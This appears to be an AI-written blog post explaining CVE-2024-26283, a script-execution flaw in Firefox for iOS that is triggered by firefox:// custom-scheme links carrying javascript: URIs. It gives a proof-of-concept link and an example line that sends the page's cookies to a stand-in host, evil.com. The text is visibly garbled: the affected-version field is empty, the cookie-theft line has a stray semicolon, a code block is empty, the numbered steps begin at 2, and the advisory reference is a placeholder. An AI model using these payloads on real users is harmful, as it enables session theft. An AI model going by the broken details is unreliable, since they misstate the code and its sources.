CVE-2024-26283 is a recently disclosed vulnerability that affects Firefox for iOS (versions before 123). It allows attackers to execute unauthorized JavaScript code on top origin sites by abusing how external URLs with custom Firefox schemes are handled. In this post, I'll break down the technical details of CVE-2024-26283, show you how the exploit works with code snippets, and provide links to the original references — all using clear and simple language.
What is CVE-2024-26283?
This vulnerability is a client-side issue specific to Firefox for iOS. When an external link with a javascript: URI is opened via a custom “Firefox scheme” (like firefox://), Firefox could incorrectly execute scripts in the context of the top-most loaded site. In other words, it let attackers run malicious scripts as if they were from the visited site itself — potentially allowing for session hijacking, data theft, or more.
Affected version:
Why is This a Problem?
Imagine you’re browsing your bank’s website on Firefox for iOS. If you tap a specially crafted link or scan a QR code, an attacker could make Firefox run a script as if you typed it into your bank’s website — letting them steal your session or worse.
This sort of flaw is referred to as a script injection vulnerability. It undermines browser security because scripts from untrusted sources should never run in the context of a trusted site.
An attacker could craft a link using the Firefox custom scheme that looks like this
<a href="firefox://open-url?url=javascript:alert('Hacked!')">Click me</a>
If a victim taps this link from another app or website while a sensitive site is open in Firefox, Firefox would execute the javascript:alert('Hacked!') code in the context of the currently loaded website.
Code Snippet of Malicious Link
<!-- This could be sent via email, messaging, or posted online -->
<a href="firefox://open-url?url=javascript:alert('Hacked!')">
See Interesting News!
</a>
The victim’s Firefox for iOS receives the custom scheme URL and parses it.
- Instead of opening a new, isolated page, it executes the JavaScript as if it originated from whatever tab is currently open.
- In a real attack, this wouldn’t just be an alert(). The code could steal cookies, session tokens, or even rewrite page content.
Example Malicious Script
// Instead of a harmless alert, the attacker could use this:
document.location='https://evil.com/steal?cookie='; + document.cookie;
`html
Test Firefox Custom Scheme
`
2. Have a user open this link on their iOS device, with a sensitive site (like mail.example.com) already open in Firefox.
3. When tapped, it will alert the domain of the open tab – showing code execution is in the top origin.
How Can You Protect Yourself?
- Update Firefox for iOS: The issue is fixed in version 123 and later. App Store link
- Avoid clicking suspicious firefox:// or javascript: scheme links, especially from emails or random sites.
References and Further Reading
- Mozilla Security Advisory MFSA 2024-XX (Look for reference to CVE-2024-26283)
- NIST NVD Entry
- Mozilla GitHub – iOS Firefox source code
- Security Patch in Release Notes
Summary
CVE-2024-26283 is a serious, but now patched, vulnerability in Firefox for iOS. If left unpatched, it allowed attackers to run their own scripts inside the context of legitimate websites just by tricking users into following special custom scheme links. Update your app and beware of odd links to stay safe!
Stay secure — always keep your browser up to date!
*Post written and researched exclusively for your safety and awareness by AI.*
Timeline
Published on: 02/22/2024 15:15:08 UTC
Last modified on: 08/29/2024 20:36:24 UTC